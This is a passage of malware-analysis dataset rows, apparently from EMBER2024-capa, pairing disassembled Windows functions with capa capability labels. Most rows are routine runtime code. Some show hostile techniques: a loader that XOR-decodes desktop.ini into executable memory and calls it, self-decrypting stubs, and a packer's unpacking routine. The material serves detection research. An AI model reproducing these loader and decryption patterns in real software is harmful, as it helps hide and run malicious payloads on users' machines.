joyce8/EMBER2024-capa huggingface dataset:
Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx

Function at 0x1000114e
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Read file on windows

Disassembly:
push esi
push edi
push str.ShellExecuteW
push str.shell32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 1
xor edi, edi
push edi
push edi
push 0x10002054
push str.open
push edi
call eax
push 0x40
mov esi, 0x1000
push esi
push esi
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push edi
push 0x80
push 3
push edi
push 1
push 0x80000000
push str.desktop.ini
mov dword [0x10003228], eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x1000322c], eax
cmp eax, 0xffffffff
je 0x100011f3
push edi
push 0x10003230
push esi
push dword [0x10003228]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [0x10003228]
movzx ecx, byte [eax]
xor ecx, 0x4e
xor esi, esi
cmp dword [0x10003230], edi
jbe 0x100011f1
mov dl, byte [eax + esi]
xor dl, cl
add dl, 0x42
mov byte [eax + esi], dl
inc esi
cmp esi, dword [0x10003230]
jb 0x100011dd
call eax
pop edi
pop esi
ret 0x10

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x401000
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x70
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
call fcn.00405e71
cmp dword [eax], 2
jge 0x401021
xor eax, eax
jmp 0x401183
lea ecx, [ebp - 0x1c]
call fcn.00401b40
lea ecx, [ebp - 0x34]
call fcn.00401b40
nop
mov dword [ebp - 0x50], 1
jmp 0x401044
mov eax, dword [ebp - 0x50]
add eax, 1
mov dword [ebp - 0x50], eax
call fcn.00405e71
mov ecx, dword [eax]
sub ecx, 1
cmp dword [ebp - 0x50], ecx
jg 0x401089
call fcn.00405e77
mov edx, dword [eax]
mov eax, dword [ebp - 0x50]
mov ecx, dword [edx + eax*4]
push ecx
lea ecx, [ebp - 0x1c]
call fcn.00401f90
nop
call fcn.00405e71
mov edx, dword [eax]
sub edx, 1
cmp dword [ebp - 0x50], edx
je 0x401087
push 0x40f184
lea ecx, [ebp - 0x1c]
call fcn.00401f90
nop
jmp 0x40103b
lea ecx, [ebp - 0x1c]
call fcn.00402710
mov dword [ebp - 0x5c], eax
mov eax, dword [ebp - 0x5c]
mov dword [ebp - 0x68], eax
lea ecx, [ebp - 0x1c]
call fcn.004027b0
lea ecx, [eax + eax + 2]
mov dword [ebp - 0x6c], ecx
push 0
push 0x40f188
call dword [sym.imp.USER32.dll_FindWindowW]
mov dword [ebp - 0x54], eax
cmp dword [ebp - 0x54], 0
jne 0x4010f7
lea edx, [ebp - 0x4c]
push edx
call fcn.004011a0
add esp, 4
push eax
lea ecx, [ebp - 0x34]
call fcn.00401df0
lea ecx, [ebp - 0x4c]
call fcn.00401d40
nop
push 0
push 0
push 0
lea ecx, [ebp - 0x34]
call fcn.00402710
push eax
push 0
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
nop
mov dword [ebp - 0x58], 0
jmp 0x401109
mov eax, dword [ebp - 0x58]
add eax, 1
mov dword [ebp - 0x58], eax
cmp dword [ebp - 0x58], 0x12c
jge 0x401169
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push str.TeleNVDAURLHandler
call dword [sym.imp.USER32.dll_FindWindowW]
mov dword [ebp - 0x54], eax
cmp dword [ebp - 0x54], 0
jbe 0x401167
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
lea ecx, [ebp - 0x70]
push ecx
push 0
push 0x4a
mov edx, dword [ebp - 0x54]
push edx
call dword [sym.imp.USER32.dll_SendMessageW]
nop
mov dword [ebp - 0x60], 0
lea ecx, [ebp - 0x34]
call fcn.00401d40
lea ecx, [ebp - 0x1c]
call fcn.00401d40
mov eax, dword [ebp - 0x60]
jmp 0x401183
jmp 0x401100
mov dword [ebp - 0x64], 1
lea ecx, [ebp - 0x34]
call fcn.00401d40
lea ecx, [ebp - 0x1c]
call fcn.00401d40
mov eax, dword [ebp - 0x64]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00402a12
mov esp, ebp
pop ebp
ret 0x10

Function at 0x401330
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40c
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0x14]
push eax
mov ecx, dword [ebp + 0x10]
call fcn.00401e60
mov dword [ebp - 0x40c], 0x400
lea ecx, [ebp - 0x40c]
push ecx
lea edx, [ebp - 0x404]
push edx
push 0
push 0
mov ecx, dword [ebp + 0xc]
call fcn.00402710
push eax
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
mov dword [ebp - 0x408], eax
cmp dword [ebp - 0x408], 0
jne 0x40139d
lea ecx, [ebp - 0x404]
push ecx
mov ecx, dword [ebp + 0x10]
call fcn.00401ed0
nop
mov eax, dword [ebp - 0x408]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00402a12
mov esp, ebp
pop ebp
ret
Function at 0x4032a5
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x4032e4
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x4032e4
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x4032e4
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x4032e4
cmp dword [ecx + 0x74], 0xe
jbe 0x4032e4
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret

Function at 0x407eae
Capabilities:
Enumerate files on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x264
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
mov edx, dword [ebp + 0xc]
mov ecx, dword [ebp + 0x10]
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
mov dword [ebp - 0x25c], ecx
cmp edx, edi
je 0x407ef9
movzx eax, word [edx]
lea ecx, [ebp - 0x255]
push eax
call fcn.004080cb
test al, al
jne 0x407ef3
sub edx, 2
cmp edx, edi
jne 0x407ed9
mov ecx, dword [ebp - 0x25c]
movzx esi, word [edx]
cmp esi, 0x3a
jne 0x407f1b
lea eax, [edi + 2]
cmp edx, eax
je 0x407f1b
push ecx
xor ebx, ebx
push ebx
push ebx
push edi
call fcn.00407dfa
add esp, 0x10
jmp 0x408015
push esi
lea ecx, [ebp - 0x255]
call fcn.004080cb
sub edx, edi
movzx eax, al
sar edx, 1
inc edx
neg eax
sbb eax, eax
xor ebx, ebx
push ebx
push ebx
and eax, edx
push ebx
mov dword [ebp - 0x260], eax
lea eax, [ebp - 0x254]
push eax
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_FindFirstFileExW]
mov esi, eax
cmp esi, 0xffffffff
jne 0x407f5e
push dword [ebp - 0x25c]
jmp 0x407f0b
mov ebx, dword [ebp - 0x25c]
push 0x2e
mov eax, dword [ebx + 4]
sub eax, dword [ebx]
sar eax, 2
mov dword [ebp - 0x25c], eax
pop eax
cmp word [ebp - 0x228], ax
jne 0x407f9b
cmp word [ebp - 0x226], 0
je 0x407fbc
cmp word [ebp - 0x226], ax
jne 0x407f9b
cmp word [ebp - 0x224], 0
je 0x407fbc
push ebx
push dword [ebp - 0x260]
lea eax, [ebp - 0x228]
push edi
push eax
call fcn.00407dfa
add esp, 0x10
mov dword [ebp - 0x264], eax
test eax, eax
jne 0x408008
lea eax, [ebp - 0x254]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
push 0x2e
test eax, eax
pop eax
jne 0x407f75
mov eax, dword [ebx + 4]
mov edx, dword [ebx]
sub eax, edx
mov ecx, dword [ebp - 0x25c]
sar eax, 2
cmp ecx, eax
jne 0x407ff0
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
xor eax, eax
jmp 0x408015
push 0x407c2a
sub eax, ecx
push 4
push eax
lea eax, [edx + ecx*4]
push eax
call fcn.0040aae0
add esp, 0x10
jmp 0x407fe5
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
mov eax, dword [ebp - 0x264]
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00402a12
leave
ret

Function at 0x409a41
Capabilities:
Allocate thread local storage

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x41114c
push 0x411144
push str.FlsAlloc
push 0x1f
call fcn.0040997c
mov esi, eax
add esp, 0x10
test esi, esi
je 0x409a75
push dword [ebp + 8]
mov ecx, esi
call dword [0x40f128]
call esi
jmp 0x409a7b
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
pop esi
pop ebp
ret 4
Function at 0x409abf
Capabilities:
Get thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x41115c
push 0x411154
push str.FlsGetValue
push 0x21
call fcn.0040997c
mov esi, eax
add esp, 0x10
test esi, esi
je 0x409af6
push dword [ebp + 8]
mov ecx, esi
call dword [0x40f128]
call esi
pop esi
pop ebp
ret 4
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsGetValue]

Function at 0x409afe
Capabilities:
Set thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x411164
push 0x41115c
push str.FlsSetValue
push 0x22
call fcn.0040997c
mov esi, eax
add esp, 0x10
test esi, esi
je 0x409b38
push dword [ebp + 0xc]
mov ecx, esi
push dword [ebp + 8]
call dword [0x40f128]
call esi
pop esi
pop ebp
ret 8
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsSetValue]
Function at 0x40e800
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x40e82d
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x40e82d
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret

Function at 0x401760
Capabilities:
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
push esi
push 0
push eax
push 0
push 0
push 0x80000000
push 0x80000000
push 0x80000000
push 0x80000000
push 0xcf0000
push str.Best_Application
push str.Clariot
push 0
mov dword [0x405102], eax
call dword [sym.imp.USER32.dll_CreateWindowExA]
mov esi, eax
test esi, esi
jne 0x4017a7
pop esi
pop ebp
ret
push 0
push esi
call dword [sym.imp.USER32.dll_ShowWindow]
push esi
call dword [sym.imp.USER32.dll_UpdateWindow]
mov eax, 1
pop esi
pop ebp
ret

Function at 0x402028
Capabilities:
Accept command line arguments
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x44
mov eax, dword [0x405364]
test eax, eax
je 0x402041
call eax
test eax, eax
jne 0x402041
push 0xfffffffffffffffe
jmp 0x40205b
push 1
push 0x405010
push 0x405008
call fcn.00401bd1
add esp, 0xc
test eax, eax
je 0x402061
push 0xfffffffffffffffd
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push esi
push 0
push 0x405004
push section..data
call fcn.00401bd1
add esp, 0xc
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov esi, eax
test esi, esi
jne 0x402087
mov esi, 0x404a52
mov cl, 0x20
jmp 0x402090
cmp al, 0x20
ja 0x40209a
inc esi
mov al, byte [esi]
test al, al
jne 0x40208b
cmp al, 0x20
jbe 0x4020b1
mov al, byte [esi]
cmp al, 0x22
jne 0x4020a3
xor cl, 0x20
inc esi
mov al, byte [esi]
cmp al, cl
ja 0x40209c
jmp 0x4020b1
cmp al, cl
ja 0x4020b7
inc esi
mov al, byte [esi]
test al, al
jne 0x4020ac
and dword [ebp - 0x18], 0
lea eax, [ebp - 0x44]
push eax
call dword [sym.imp.KERNEL32.dll_GetStartupInfoA]
test eax, 0xa0d0a0d
sub eax, 0x54524357
sub eax, 0xa0d0a0d
test byte [ebp - 0x18], 1
je 0x4020e0
movzx eax, word [ebp - 0x14]
jmp 0x4020e3
push 0xa
pop eax
push eax
push esi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call main
push eax
call fcn.00402118
pop ecx
pop esi
leave
ret

Function at 0x402118
Capabilities:
Terminate process

Disassembly:
call fcn.00402162
push 0
push 0x405018
push 0x405014
call fcn.00401bd1
push 0
push 0x405020
push 0x40501c
call fcn.00401bd1
add esp, 0x18
push dword [esp + 4]
call dword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx

Function at 0x499f10
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, 0x43c015
lea edi, [esi - 0x3b015]
push edi
or ebp, 0xffffffff
jmp 0x499f32
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x499f39
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x499f28
mov eax, 1
add ebx, ebx
jne 0x499f4b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x499f40
jne 0x499f5c
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x499f40
xor ecx, ecx
sub eax, 3
jb 0x499f70
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x499fe2
mov ebp, eax
add ebx, ebx
jne 0x499f7b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x499f88
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x499fac
inc ecx
add ebx, ebx
jne 0x499f98
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x499f8d
jne 0x499fa9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x499f8d
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x499fcc
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x499fbd
jmp 0x499f2e
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x499fcc
add edi, ecx
jmp 0x499f2e
pop esi
mov edi, esi
mov ecx, 0x51
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x499fea
cmp byte [edi], 1
jne 0x499fea
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x499fef
lea edi, [esi + 0x95000]
mov eax, dword [edi]
or eax, eax
je 0x49a05e
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x9b484]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x9b568]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x49a01c
mov ecx, edi
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x9b570]
or eax, eax
je 0x49a058
mov dword [ebx], eax
add ebx, 4
jmp 0x49a039
call dword [esi + 0x9b56c]
mov ebp, dword [esi + 0x9b574]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x19f]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x49a092
sub esp, 0xffffff80
jmp 0x402d30
Function at 0x405ef4
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
cmp dword [0x422a34], 0
push esi
jne 0x405f2b
xor ecx, ecx
push 8
mov eax, ecx
pop esi
mov edx, eax
and dl, 1
neg dl
sbb edx, edx
and edx, 0xedb88320
shr eax, 1
xor eax, edx
dec esi
jne 0x405f05
mov dword [ecx*4 + 0x422a30], eax
inc ecx
cmp ecx, 0x100
jl 0x405f00
mov edx, dword [esp + 0x10]
mov eax, dword [esp + 8]
test edx, edx
not eax
jbe 0x405f5c
mov ecx, dword [esp + 0xc]
push edi
movzx edi, byte [ecx]
mov esi, eax
and esi, 0xff
xor esi, edi
shr eax, 8
mov esi, dword [esi*4 + 0x422a30]
xor eax, esi
inc ecx
dec edx
jne 0x405f3e
pop edi
not eax
pop esi
ret 0xc

Function at 0x402658
Capabilities:
Terminate process

Disassembly:
xor edi, edi
xor esi, esi
mov edx, eax
mov eax, 5
add eax, 5
inc eax
test eax, 0xb
jne 0x40267a
push 0
call dword [sym.imp.kernel32.dll_ExitProcess]
mov edx, eax
mov dword [0x401036], eax
ret
Function at 0x401000
Capabilities:
Terminate process

Disassembly:
jmp 0x438a64
push 0x14
push 0x457b20
call fcn.00438a80
push 1
call fcn.0043864f
pop ecx
test al, al
jne 0x43891b
push 7
call fcn.00438d52
xor bl, bl
mov byte [ebp - 0x19], bl
and dword [ebp - 4], 0
call fcn.0043861a
mov byte [ebp - 0x24], al
mov eax, dword [0x78c6dc]
xor ecx, ecx
inc ecx
cmp eax, ecx
je 0x438914
test eax, eax
jne 0x438985
mov dword [0x78c6dc], ecx
push 0x44a37c
push 0x44a364
call fcn.0043f3be
pop ecx
pop ecx
test eax, eax
je 0x438968
mov dword [ebp - 4], 0xfffffffe
mov eax, 0xff
jmp 0x438a5e
push 0x44a360
push 0x44a30c
call fcn.0043f362
pop ecx
pop ecx
mov dword [0x78c6dc], 2
jmp 0x43898a
mov bl, cl
mov byte [ebp - 0x19], bl
push dword [ebp - 0x24]
call fcn.004387a9
pop ecx
call fcn.0043903d
mov esi, eax
xor edi, edi
cmp dword [esi], edi
je 0x4389ba
push esi
call fcn.0043871f
pop ecx
test al, al
je 0x4389ba
push edi
push 2
push edi
mov esi, dword [esi]
mov ecx, esi
call fcn.00438a73
call esi
call fcn.00439043
mov esi, eax
cmp dword [esi], edi
je 0x4389d8
push esi
call fcn.0043871f
pop ecx
test al, al
je 0x4389d8
push dword [esi]
call fcn.0043e7f0
pop ecx
call fcn.00438e6d
movzx eax, ax
push eax
call fcn.0043f30f
push eax
push edi
push 0x400000
call main
mov esi, eax
call fcn.00438ea0
test al, al
jne 0x438a03
push esi
call fcn.0043e828
test bl, bl
jne 0x438a0c
call fcn.0043e7cb
push edi
push 1
call fcn.004387c6
pop ecx
pop ecx
mov dword [ebp - 4], 0xfffffffe
mov eax, esi
jmp 0x438a5e
call fcn.00438ac6
ret
call fcn.00438f39
jmp 0x4388fc
Function at 0x402bbb
Capabilities:
Check os version
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2d4
mov eax, dword [0x45a008]
xor eax, ebp
mov dword [ebp - 4], eax
call dword [sym.imp.KERNEL32.dll_GetVersion]
cmp ax, 6
je 0x402c04
push str.SetDefaultDllDirectories
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x402c04
push 0xc00
call eax
test eax, eax
jne 0x402c9f
push 0x106
lea eax, [ebp - 0x2d4]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
test eax, eax
je 0x402c9f
cmp eax, 0x104
ja 0x402c9f
push 0x5c
pop ecx
cmp word [ebp + eax*2 - 0x2d6], cx
je 0x402c3b
mov word [ebp + eax*2 - 0x2d4], cx
inc eax
cmp byte [str.userenv], 0
push esi
mov esi, str.userenv
je 0x402c9e
push ebx
push edi
lea edi, [ebp - 0x2d4]
push 0x6c
lea edi, [edi + eax*2]
pop ebx
mov ecx, edi
jmp 0x402c65
movzx eax, al
mov word [ecx], ax
add ecx, 2
mov al, byte [esi]
inc esi
test al, al
jne 0x402c5c
push 0x2e
pop eax
push 0x64
mov word [ecx], ax
pop eax
mov word [ecx + 2], ax
xor eax, eax
push 8
push eax
mov word [ecx + 8], ax
lea eax, [ebp - 0x2d4]
push eax
mov word [ecx + 4], bx
mov word [ecx + 6], bx
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
cmp byte [esi], 0
jne 0x402c58
pop edi
pop ebx
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004381f6
mov esp, ebp
pop ebp
ret
Function at 0x406c51
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push ecx
xor edx, edx
xor eax, eax
push ebx
push esi
mov esi, ecx
inc eax
push edi
push 0x20
pop ecx
or dword [esi + 0x90], 0xffffffff
or dword [esi + 0x94], 0xffffffff
mov dword [esi + 0x30], eax
mov dword [esi + 0x44], eax
mov eax, dword [esi + 4]
cmp eax, ecx
mov dword [ebp - 4], esi
cmova eax, ecx
mov dword [esi + 0x78], edx
mov dword [esi + 0x54], eax
mov eax, dword [esi]
mov dword [esi + 0x7c], edx
mov dword [esi + 0x34], edx
mov dword [esi + 0x38], edx
mov dword [esi + 0x3c], edx
mov dword [esi + 0x40], edx
mov dword [esi + 0x70], edx
mov dword [esi + 0x88], edx
mov dword [esi + 0x68], edx
mov dword [esi + 0x6c], edx
mov dword [esi + 0x48], edx
mov dword [esi + 0x4c], edx
mov dword [esi + 0x50], edx
mov dword [esi + 0x60], edx
mov dword [esi + 0x64], edx
mov dword [esi + 0x80], edx
mov dword [esi + 0x84], edx
mov dword [esi + 0x58], edx
cmp eax, dword [esi + 0x20]
je 0x406d01
lea edi, [esi + 0xc8]
mov ebx, ecx
cmp dword [edi + 8], edx
je 0x406ce0
mov ecx, edi
call fcn.00405d53
xor edx, edx
add edi, 0x28
sub ebx, 1
jne 0x406cd2
cmp dword [esi + 0x5c], ebx
je 0x406cfc
mov eax, dword [esi + 0x14]
push dword [esi + 0x5c]
push eax
call dword [eax + 4]
xor edx, edx
mov dword [esi + 0x5c], edx
mov eax, dword [esi]
mov dword [esi + 0x20], eax
mov eax, dword [esi + 0x10]
mov dword [esi + 0x98], eax
mov dword [esi + 0x9c], edx
mov dword [esi + 0xa0], edx
mov dword [esi + 0xa4], edx
mov dword [esi + 0xa8], edx
mov dword [esi + 0xac], edx
mov ecx, dword [esi + 0x58]
mov dword [esi + 0x24], edx
mov dword [esi + 0x28], edx
lea eax, [ecx + 5]
imul ebx, eax, 0x28
lea eax, [ecx + 1]
mov dword [esi + 0x58], eax
add ebx, esi
mov ecx, ebx
call fcn.00405d36
mov edi, eax
test edi, edi
jne 0x406d93
lea ecx, [ebx + 0x20]
call fcn.004089ba
mov edi, eax
test edi, edi
jne 0x406d93
lea ecx, [ebx + 0x1c]
call fcn.004089ba
mov edi, eax
test edi, edi
jne 0x406d93
push ebx
call fcn.00406a04
mov edi, eax
test edi, edi
je 0x406d93
and dword [esi + 0x44], 0
lea ebx, [esi + 0xc8]
push 0x20
pop esi
mov ecx, ebx
call fcn.00405d77
add ebx, 0x28
sub esi, 1
jne 0x406d81
mov esi, dword [ebp - 4]
movzx eax, di
or eax, 0x80070000
test edi, edi
cmovle eax, edi
test eax, eax
je 0x406da7
mov dword [esi + 0x40], eax
xor edx, edx
cmp dword [esi + 0x38], edx
jne 0x406dbb
cmp dword [esi + 0x40], edx
jne 0x406dbb
cmp dword [esi + 0x3c], edx
jne 0x406dbb
mov dword [esi + 0x44], edx
xor ecx, ecx
cmp dword [esi + 0x44], edx
pop edi
pop esi
cmovne eax, ecx
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x4080a6
Capabilities:
Hash data using sha256

Disassembly:
and dword [ecx + 8], 0
and dword [ecx + 0xc], 0
mov dword [ecx + 0x20], 0x6a09e667
mov dword [ecx + 0x24], 0xbb67ae85
mov dword [ecx + 0x28], 0x3c6ef372
mov dword [ecx + 0x2c], 0xa54ff53a
mov dword [ecx + 0x30], 0x510e527f
mov dword [ecx + 0x34], 0x9b05688c
mov dword [ecx + 0x38], 0x1f83d9ab
mov dword [ecx + 0x3c], 0x5be0cd19
ret

Function at 0x4080e7
Capabilities:
Hash data using sha256

Disassembly:
mov eax, dword [0x78b3a8]
mov dword [ecx], eax
jmp fcn.004080a6